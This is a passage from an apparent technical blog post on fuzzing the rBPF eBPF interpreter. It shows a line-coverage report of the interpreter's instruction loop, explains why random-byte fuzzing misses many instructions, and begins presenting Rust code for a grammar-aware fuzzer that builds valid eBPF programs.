  728|   135k|            let mut insn = ebpf::get_insn_unchecked(self.program, pc);
  729|   135k|            let dst = insn.dst as usize;
  730|   135k|            let src = insn.src as usize;
  731|   135k|
  732|   135k|            if config.enable_instruction_tracing {
  733|      0|                let mut state = [0u64; 12];
  734|      0|                state[0..11].copy_from_slice(&reg);
  735|      0|                state[11] = pc as u64;
  736|      0|                self.tracer.trace(state);
  737|   135k|            }
  738|       |
  739|   135k|            match insn.opc {
  740|   135k|                _ if dst == STACK_PTR_REG && config.dynamic_stack_frames => {
  741|    361|                    match insn.opc {
  742|     16|                        ebpf::SUB64_IMM => self.stack.resize_stack(-insn.imm),
  743|    345|                        ebpf::ADD64_IMM => self.stack.resize_stack(insn.imm),
  744|       |                        _ => {
  745|       |                            #[cfg(debug_assertions)]
  746|      0|                            unreachable!("unexpected insn on r11")
  747|       |                        }
  748|       |                    }
  749|       |                }
  750|       |
  751|       |                // BPF_LD class
  752|       |                // Since this pointer is constant, and since we already know it (ebpf::MM_INPUT_START), do not
  753|       |                // bother re-fetching it, just use ebpf::MM_INPUT_START already.
  754|       |                ebpf::LD_ABS_B   => {
  755|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  756|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^0
  757|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  758|       |                },
  759|       |                ebpf::LD_ABS_H   =>  {
  760|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  761|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^0
  762|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  763|       |                },
  764|       |                ebpf::LD_ABS_W   => {
  765|      2|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  766|      2|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^0
  767|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  768|       |                },
  769|       |                ebpf::LD_ABS_DW  => {
  770|      4|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  771|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^0
  772|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  773|       |                },
  774|       |                ebpf::LD_IND_B   => {
  775|      2|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  776|      2|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^0
  777|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  778|       |                },
  779|       |                ebpf::LD_IND_H   => {
  780|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  781|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^0
  782|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  783|       |                },
  784|       |                ebpf::LD_IND_W   => {
  785|      7|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  786|      7|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^0
  787|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  788|       |                },
  789|       |                ebpf::LD_IND_DW  => {
  790|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  791|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^0
  792|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  793|       |                },
  794|       |
  795|      0|                ebpf::LD_DW_IMM  => {
  796|      0|                    ebpf::augment_lddw_unchecked(self.program, &mut insn);
  797|      0|                    instruction_width = 2;
  798|      0|                    next_pc += 1;
  799|      0|                    reg[dst] = insn.imm as u64;
  800|      0|                },
  801|       |
  802|       |                // BPF_LDX class
  803|       |                ebpf::LD_B_REG   => {
  804|     18|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  805|     18|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^2
  806|      2|                    reg[dst] = unsafe { *host_ptr as u64 };
  807|       |                },
  808|       |                ebpf::LD_H_REG   => {
  809|     18|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  810|     18|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^6
  811|      6|                    reg[dst] = unsafe { *host_ptr as u64 };
  812|       |                },
  813|       |                ebpf::LD_W_REG   => {
  814|    365|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  815|    365|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^348
  816|    348|                    reg[dst] = unsafe { *host_ptr as u64 };
  817|       |                },
  818|       |                ebpf::LD_DW_REG  => {
  819|     15|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  820|     15|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^5
  821|      5|                    reg[dst] = unsafe { *host_ptr as u64 };
  822|       |                },
  823|       |
  824|       |                // BPF_ST class
  825|       |                ebpf::ST_B_IMM   => {
  826|     26|                    let vm_addr = (reg[dst] as i64).wrapping_add( insn.off as i64) as u64;
  827|     26|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^20
  828|     20|                    unsafe { *host_ptr = insn.imm as u8 };
  829|       |                },
  830|       |                ebpf::ST_H_IMM   => {
  831|     23|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  832|     23|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^13
  833|     13|                    unsafe { *host_ptr = insn.imm as u16 };
  834|       |                },
  835|       |                ebpf::ST_W_IMM   => {
  836|     12|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  837|     12|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^5
  838|      5|                    unsafe { *host_ptr = insn.imm as u32 };
  839|       |                },
  840|       |                ebpf::ST_DW_IMM  => {
  841|     17|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  842|     17|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^11
  843|     11|                    unsafe { *host_ptr = insn.imm as u64 };
  844|       |                },
  845|       |
  846|       |                // BPF_STX class
  847|       |                ebpf::ST_B_REG   => {
  848|     17|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  849|     17|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^3
  850|      3|                    unsafe { *host_ptr = reg[src] as u8 };
  851|       |                },
  852|       |                ebpf::ST_H_REG   => {
  853|     13|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  854|     13|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^3
  855|      3|                    unsafe { *host_ptr = reg[src] as u16 };
  856|       |                },
  857|       |                ebpf::ST_W_REG   => {
  858|     19|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  859|     19|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^7
  860|      7|                    unsafe { *host_ptr = reg[src] as u32 };
  861|       |                },
  862|       |                ebpf::ST_DW_REG  => {
  863|      8|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  864|      8|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^2
  865|      2|                    unsafe { *host_ptr = reg[src] as u64 };
  866|       |                },
  867|       |
  868|       |                // BPF_ALU class
  869|  1.06k|                ebpf::ADD32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_add(insn.imm as i32)   as u64,
  870|    695|                ebpf::ADD32_REG  => reg[dst] = (reg[dst] as i32).wrapping_add(reg[src] as i32)   as u64,
  871|    710|                ebpf::SUB32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_sub(insn.imm as i32)   as u64,
  872|    345|                ebpf::SUB32_REG  => reg[dst] = (reg[dst] as i32).wrapping_sub(reg[src] as i32)   as u64,
  873|  1.03k|                ebpf::MUL32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_mul(insn.imm as i32)   as u64,
  874|  2.07k|                ebpf::MUL32_REG  => reg[dst] = (reg[dst] as i32).wrapping_mul(reg[src] as i32)   as u64,
  875|  1.03k|                ebpf::DIV32_IMM  => reg[dst] = (reg[dst] as u32 / insn.imm as u32)               as u64,
  876|       |                ebpf::DIV32_REG  => {
  877|      4|                    if reg[src] as u32 == 0 {
  878|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  879|      2|                    }
  880|      2|                    reg[dst] = (reg[dst] as u32 / reg[src] as u32) as u64;
  881|       |                },
  882|       |                ebpf::SDIV32_IMM  => {
  883|    346|                    if reg[dst] as i32 == i32::MIN && insn.imm == -1 {
                                                                    ^0
  884|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  885|    346|                    }
  886|    346|                    reg[dst] = (reg[dst] as i32 / insn.imm as i32) as u64;
  887|       |                }
  888|       |                ebpf::SDIV32_REG  => {
  889|     13|                    if reg[src] as i32 == 0 {
  890|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  891|     11|                    }
  892|     11|                    if reg[dst] as i32 == i32::MIN && reg[src] as i32 == -1 {
                                                                    ^0
  893|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  894|     11|                    }
  895|     11|                    reg[dst] = (reg[dst] as i32 / reg[src] as i32) as u64;
  896|       |                },
  897|    346|                ebpf::OR32_IMM   =>   reg[dst] = (reg[dst] as u32             | insn.imm as u32) as u64,
  898|    351|                ebpf::OR32_REG   =>   reg[dst] = (reg[dst] as u32             | reg[src] as u32) as u64,
  899|    345|                ebpf::AND32_IMM  =>   reg[dst] = (reg[dst] as u32             & insn.imm as u32) as u64,
  900|  1.03k|                ebpf::AND32_REG  =>   reg[dst] = (reg[dst] as u32             & reg[src] as u32) as u64,
  901|      0|                ebpf::LSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(insn.imm as u32) as u64,
  902|    369|                ebpf::LSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(reg[src] as u32) as u64,
  903|      0|                ebpf::RSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(insn.imm as u32) as u64,
  904|    346|                ebpf::RSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(reg[src] as u32) as u64,
  905|    690|                ebpf::NEG32      => { reg[dst] = (reg[dst] as i32).wrapping_neg()                as u64; reg[dst] &= u32::MAX as u64; },
  906|    347|                ebpf::MOD32_IMM  =>   reg[dst] = (reg[dst] as u32             % insn.imm as u32) as u64,
  907|       |                ebpf::MOD32_REG  => {
  908|      4|                    if reg[src] as u32 == 0 {
  909|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  910|      2|                    }
  911|      2|                                      reg[dst] = (reg[dst] as u32            % reg[src]  as u32) as u64;
  912|       |                },
  913|  1.04k|                ebpf::XOR32_IMM  =>   reg[dst] = (reg[dst] as u32            ^ insn.imm  as u32) as u64,
  914|  2.74k|                ebpf::XOR32_REG  =>   reg[dst] = (reg[dst] as u32            ^ reg[src]  as u32) as u64,
  915|    349|                ebpf::MOV32_IMM  =>   reg[dst] = insn.imm  as u32                                as u64,
  916|  1.03k|                ebpf::MOV32_REG  =>   reg[dst] = (reg[src] as u32)                               as u64,
  917|      0|                ebpf::ARSH32_IMM => { reg[dst] = (reg[dst] as i32).wrapping_shr(insn.imm as u32) as u64; reg[dst] &= u32::MAX as u64; },
  918|      2|                ebpf::ARSH32_REG => { reg[dst] = (reg[dst] as i32).wrapping_shr(reg[src] as u32) as u64; reg[dst] &= u32::MAX as u64; },
  919|      0|                ebpf::LE         => {
  920|      0|                    reg[dst] = match insn.imm {
  921|      0|                        16 => (reg[dst] as u16).to_le() as u64,
  922|      0|                        32 => (reg[dst] as u32).to_le() as u64,
  923|      0|                        64 =>  reg[dst].to_le(),
  924|       |                        _  => {
  925|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  926|       |                        }
  927|       |                    };
  928|       |                },
  929|      0|                ebpf::BE         => {
  930|      0|                    reg[dst] = match insn.imm {
  931|      0|                        16 => (reg[dst] as u16).to_be() as u64,
  932|      0|                        32 => (reg[dst] as u32).to_be() as u64,
  933|      0|                        64 =>  reg[dst].to_be(),
  934|       |                        _  => {
  935|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  936|       |                        }
  937|       |                    };
  938|       |                },
  939|       |
  940|       |                // BPF_ALU64 class
  941|    402|                ebpf::ADD64_IMM  => reg[dst] = reg[dst].wrapping_add(insn.imm as u64),
  942|    351|                ebpf::ADD64_REG  => reg[dst] = reg[dst].wrapping_add(reg[src]),
  943|  1.12k|                ebpf::SUB64_IMM  => reg[dst] = reg[dst].wrapping_sub(insn.imm as u64),
  944|    721|                ebpf::SUB64_REG  => reg[dst] = reg[dst].wrapping_sub(reg[src]),
  945|  3.06k|                ebpf::MUL64_IMM  => reg[dst] = reg[dst].wrapping_mul(insn.imm as u64),
  946|  1.71k|                ebpf::MUL64_REG  => reg[dst] = reg[dst].wrapping_mul(reg[src]),
  947|  1.39k|                ebpf::DIV64_IMM  => reg[dst] /= insn.imm as u64,
  948|       |                ebpf::DIV64_REG  => {
  949|     23|                    if reg[src] == 0 {
  950|     12|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  951|     11|                    }
  952|     11|                                    reg[dst] /= reg[src];
  953|       |                },
  954|       |                ebpf::SDIV64_IMM  => {
  955|  1.40k|                    if reg[dst] as i64 == i64::MIN && insn.imm == -1 {
                                                                    ^0
  956|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  957|  1.40k|                    }
  958|  1.40k|
  959|  1.40k|                    reg[dst] = (reg[dst] as i64 / insn.imm) as u64
  960|       |                }
  961|       |                ebpf::SDIV64_REG  => {
  962|     12|                    if reg[src] == 0 {
  963|      5|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  964|      7|                    }
  965|      7|                    if reg[dst] as i64 == i64::MIN && reg[src] as i64 == -1 {
                                                                    ^0
  966|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  967|      7|                    }
  968|      7|                    reg[dst] = (reg[dst] as i64 / reg[src] as i64) as u64;
  969|       |                },
  970|    838|                ebpf::OR64_IMM   => reg[dst] |=  insn.imm as u64,
  971|  1.37k|                ebpf::OR64_REG   => reg[dst] |=  reg[src],
  972|  2.14k|                ebpf::AND64_IMM  => reg[dst] &=  insn.imm as u64,
  973|  4.47k|                ebpf::AND64_REG  => reg[dst] &=  reg[src],
  974|      0|                ebpf::LSH64_IMM  => reg[dst] = reg[dst].wrapping_shl(insn.imm as u32),
  975|  1.73k|                ebpf::LSH64_REG  => reg[dst] = reg[dst].wrapping_shl(reg[src] as u32),
  976|      0|                ebpf::RSH64_IMM  => reg[dst] = reg[dst].wrapping_shr(insn.imm as u32),
  977|  1.03k|                ebpf::RSH64_REG  => reg[dst] = reg[dst].wrapping_shr(reg[src] as u32),
  978|  5.59k|                ebpf::NEG64      => reg[dst] = (reg[dst] as i64).wrapping_neg() as u64,
  979|  2.85k|                ebpf::MOD64_IMM  => reg[dst] %= insn.imm  as u64,
  980|       |                ebpf::MOD64_REG  => {
  981|      3|                    if reg[src] == 0 {
  982|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  983|      1|                    }
  984|      1|                                    reg[dst] %= reg[src];
  985|       |                },
  986|  2.28k|                ebpf::XOR64_IMM  => reg[dst] ^= insn.imm as u64,
  987|  1.41k|                ebpf::XOR64_REG  => reg[dst] ^= reg[src],
  988|    383|                ebpf::MOV64_IMM  => reg[dst] =  insn.imm as u64,
  989|  4.24k|                ebpf::MOV64_REG  => reg[dst] =  reg[src],
  990|      0|                ebpf::ARSH64_IMM => reg[dst] = (reg[dst] as i64).wrapping_shr(insn.imm as u32) as u64,
  991|    357|                ebpf::ARSH64_REG => reg[dst] = (reg[dst] as i64).wrapping_shr(reg[src] as u32) as u64,
  992|       |
  993|       |                // BPF_JMP class
  994|  4.43k|                ebpf::JA         =>                                          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
  995|     10|                ebpf::JEQ_IMM    => if  reg[dst] == insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
  996|  1.36k|                ebpf::JEQ_REG    => if  reg[dst] == reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.36k                                                        ^2
  997|  4.16k|                ebpf::JGT_IMM    => if  reg[dst] >  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.42k                                                        ^2.74k
  998|  1.73k|                ebpf::JGT_REG    => if  reg[dst] >  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.39k                                                        ^343
  999|    343|                ebpf::JGE_IMM    => if  reg[dst] >= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1000|  2.04k|                ebpf::JGE_REG    => if  reg[dst] >= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.70k                                                        ^342
 1001|  2.04k|                ebpf::JLT_IMM    => if  reg[dst] <  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.04k                                                        ^1
 1002|    342|                ebpf::JLT_REG    => if  reg[dst] <  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1003|  1.02k|                ebpf::JLE_IMM    => if  reg[dst] <= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                                                                                         ^0
 1004|  2.38k|                ebpf::JLE_REG    => if  reg[dst] <= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.38k                                                        ^1
 1005|  1.76k|                ebpf::JSET_IMM   => if  reg[dst] &  insn.imm as u64 != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.42k                                                        ^347
 1006|    686|                ebpf::JSET_REG   => if  reg[dst] &  reg[src]        != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1007|  6.48k|                ebpf::JNE_IMM    => if  reg[dst] != insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                                                                                         ^0
 1008|  2.44k|                ebpf::JNE_REG    => if  reg[dst] != reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.40k                                                        ^1.03k
 1009|  18.1k|                ebpf::JSGT_IMM   => if  reg[dst] as i64 >   insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^17.7k                                                        ^363
 1010|  2.08k|                ebpf::JSGT_REG   => if  reg[dst] as i64 >   reg[src]  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.07k                                                        ^12
 1011|  14.3k|                ebpf::JSGE_IMM   => if  reg[dst] as i64 >=  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^12.9k                                                        ^1.37k
 1012|  3.45k|                ebpf::JSGE_REG   => if  reg[dst] as i64 >=  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^3.44k                                                        ^12
 1013|  1.36k|                ebpf::JSLT_IMM   => if (reg[dst] as i64) <  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.02k                                                        ^346
 1014|      2|                ebpf::JSLT_REG   => if (reg[dst] as i64) <  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1015|  2.05k|                ebpf::JSLE_IMM   => if (reg[dst] as i64) <= insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.04k                                                        ^14
 1016|  6.83k|                ebpf::JSLE_REG   => if (reg[dst] as i64) <= reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^6.83k                                                        ^7
 1017|       |
 1018|       |                ebpf::CALL_REG   => {
 1019|      0|                    let target_address = reg[insn.imm as usize];
 1020|      0|                    reg[ebpf::FRAME_PTR_REG] =
 1021|      0|                        self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1022|      0|                    if target_address < self.program_vm_addr {
 1023|      0|                        return Err(EbpfError::CallOutsideTextSegment(pc + ebpf::ELF_INSN_DUMP_OFFSET, target_address / ebpf::INSN_SIZE as u64 * ebpf::INSN_SIZE as u64));
 1024|      0|                    }
 1025|      0|                    next_pc = self.check_pc(pc, (target_address - self.program_vm_addr) as usize / ebpf::INSN_SIZE)?;
 1026|       |                },
 1027|       |
 1028|       |                // Do not delegate the check to the verifier, since registered functions can be
 1029|       |                // changed after the program has been verified.
 1030|       |                ebpf::CALL_IMM => {
 1031|     22|                    let mut resolved = false;
 1032|     22|                    let (syscalls, calls) = if config.static_syscalls {
 1033|     22|                        (insn.src == 0, insn.src != 0)
 1034|       |                    } else {
 1035|      0|                        (true, true)
 1036|       |                    };
 1037|       |
 1038|     22|                    if syscalls {
 1039|      2|                        if let Some(syscall) = self.executable.get_syscall_registry().lookup_syscall(insn.imm as u32) {
                                                  ^0
 1040|      0|                            resolved = true;
 1041|      0|
 1042|      0|                            if config.enable_instruction_meter {
 1043|      0|                                let _ = instruction_meter.consume(*last_insn_count);
 1044|      0|                            }
 1045|      0|                            *last_insn_count = 0;
 1046|      0|                            let mut result: ProgramResult<E> = Ok(0);
 1047|      0|                            (unsafe { std::mem::transmute::<u64, SyscallFunction::<E, *mut u8>>(syscall.function) })(
 1048|      0|                                self.syscall_context_objects[SYSCALL_CONTEXT_OBJECTS_OFFSET + syscall.context_object_slot],
 1049|      0|                                reg[1],
 1050|      0|                                reg[2],
 1051|      0|                                reg[3],
 1052|      0|                                reg[4],
 1053|      0|                                reg[5],
 1054|      0|                                &self.memory_mapping,
 1055|      0|                                &mut result,
 1056|      0|                            );
 1057|      0|                            reg[0] = result?;
 1058|      0|                            if config.enable_instruction_meter {
 1059|      0|                                remaining_insn_count = instruction_meter.get_remaining();
 1060|      0|                            }
 1061|      2|                        }
 1062|     20|                    }
 1063|       |
 1064|     22|                    if calls {
 1065|     20|                        if let Some(target_pc) = self.executable.lookup_bpf_function(insn.imm as u32) {
                                                  ^0
 1066|      0|                            resolved = true;
 1067|       |
 1068|       |                            // make BPF to BPF call
 1069|      0|                            reg[ebpf::FRAME_PTR_REG] =
 1070|      0|                                self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1071|      0|                            next_pc = self.check_pc(pc, target_pc)?;
 1072|     20|                        }
 1073|      2|                    }
 1074|       |
 1075|     22|                    if !resolved {
 1076|     22|                        if config.disable_unresolved_symbols_at_runtime {
 1077|      6|                            return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
 1078|       |                        } else {
 1079|     16|                            self.executable.report_unresolved_symbol(pc)?;
 1080|       |                        }
 1081|      0|                    }
 1082|       |                }
 1083|       |
 1084|       |                ebpf::EXIT => {
 1085|     14|                    match self.stack.pop::<E>() {
 1086|      0|                        Ok((saved_reg, frame_ptr, ptr)) => {
 1087|      0|                            // Return from BPF to BPF call
 1088|      0|                            reg[ebpf::FIRST_SCRATCH_REG
 1089|      0|                                ..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS]
 1090|      0|                                .copy_from_slice(&saved_reg);
 1091|      0|                            reg[ebpf::FRAME_PTR_REG] = frame_ptr;
 1092|      0|                            next_pc = self.check_pc(pc, ptr)?;
 1093|       |                        }
 1094|       |                        _ => {
 1095|     14|                            return Ok(reg[0]);
 1096|       |                        }
 1097|       |                    }
 1098|       |                }
 1099|      0|                _ => return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET)),
 1100|       |            }
 1101|       |
 1102|   135k|            if config.enable_instruction_meter && *last_insn_count >= remaining_insn_count {
 1103|       |                // Use `pc + instruction_width` instead of `next_pc` here because jumps and calls don't continue at the end of this instruction
 1104|    130|                return Err(EbpfError::ExceededMaxInstructions(pc + instruction_width + ebpf::ELF_INSN_DUMP_OFFSET, initial_insn_count));
 1105|   135k|            }
 1106|       |        }
 1107|       |
 1108|    419|        Err(EbpfError::ExecutionOverrun(
 1109|    419|            next_pc + ebpf::ELF_INSN_DUMP_OFFSET,
 1110|    419|        ))
 1111|    763|    }

Unfortunately, this fuzzer doesn’t seem to achieve the coverage we expect. Several instructions are missed (note the 0 coverage on some branches of the match) and there are no jumps, calls, or other control-flow-relevant instructions. This is largely because throwing random bytes at any parser just isn’t going to be effective; most things will get caught at the verification stage, and very little will actually test the program.

We must improve this before we continue or we’ll be waiting forever for our fuzzer to find useful bugs.

At this point, we’re about two hours into development.

The smart fuzzer

eBPF is a quite simple instruction set; you can read the whole definition in just a few pages. Knowing this: why don’t we constrain our input to just these instructions? This approach is commonly called “grammar-aware” fuzzing on account of the fact that the inputs are constrained to some grammar. It is very powerful as a concept, and is used to test a variety of large targets which have strict parsing rules.

To create this grammar-aware fuzzer, I inspected the helpfully-named and provided insn_builder.rs which would allow me to create instructions. Now, all I needed to do was represent all the different instructions. By cross referencing with eBPF documentation, we can represent each possible operation in a single enum. You can see the whole grammar.rs in the rBPF repo if you wish, but the two most relevant sections are provided below.

Defining the enum that represents all instructions
#[derive(arbitrary::Arbitrary, Debug, Eq, PartialEq)]
pub enum FuzzedOp {
    Add(Source),
    Sub(Source),
    Mul(Source),
    Div(Source),
    BitOr(Source),
    BitAnd(Source),
    LeftShift(Source),
    RightShift(Source),
    Negate,
    Modulo(Source),
    BitXor(Source),
    Mov(Source),
    SRS(Source),
    SwapBytes(Endian),
    Load(MemSize),
    LoadAbs(MemSize),
    LoadInd(MemSize),
    LoadX(MemSize),
    Store(MemSize),
    StoreX(MemSize),
    Jump,
    JumpC(Cond, Source),
    Call,
    Exit,
}
Translating FuzzedOps to BpfCode
pub type FuzzProgram = Vec<FuzzedInstruction>;

pub fn make_program(prog: &FuzzProgram, arch: Arch) -> BpfCode {
    let mut code = BpfCode::default();
    for inst in prog {
        match inst.op {
            FuzzedOp::Add(src) => code
                .add(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Sub(src) => code
                .sub(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Mul(src) => code
                .mul(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Div(src) => code
                .div(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::BitOr(src) => code
                .bit_or(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::BitAnd(src) => code
                .bit_and(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LeftShift(src) => code
                .left_shift(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::RightShift(src) => code
                .right_shift(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Negate => code
                .negate(arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Modulo(src) => code
                .modulo(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::BitXor(src) => code
                .bit_xor(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Mov(src) => code
                .mov(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::SRS(src) => code
                .signed_right_shift(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
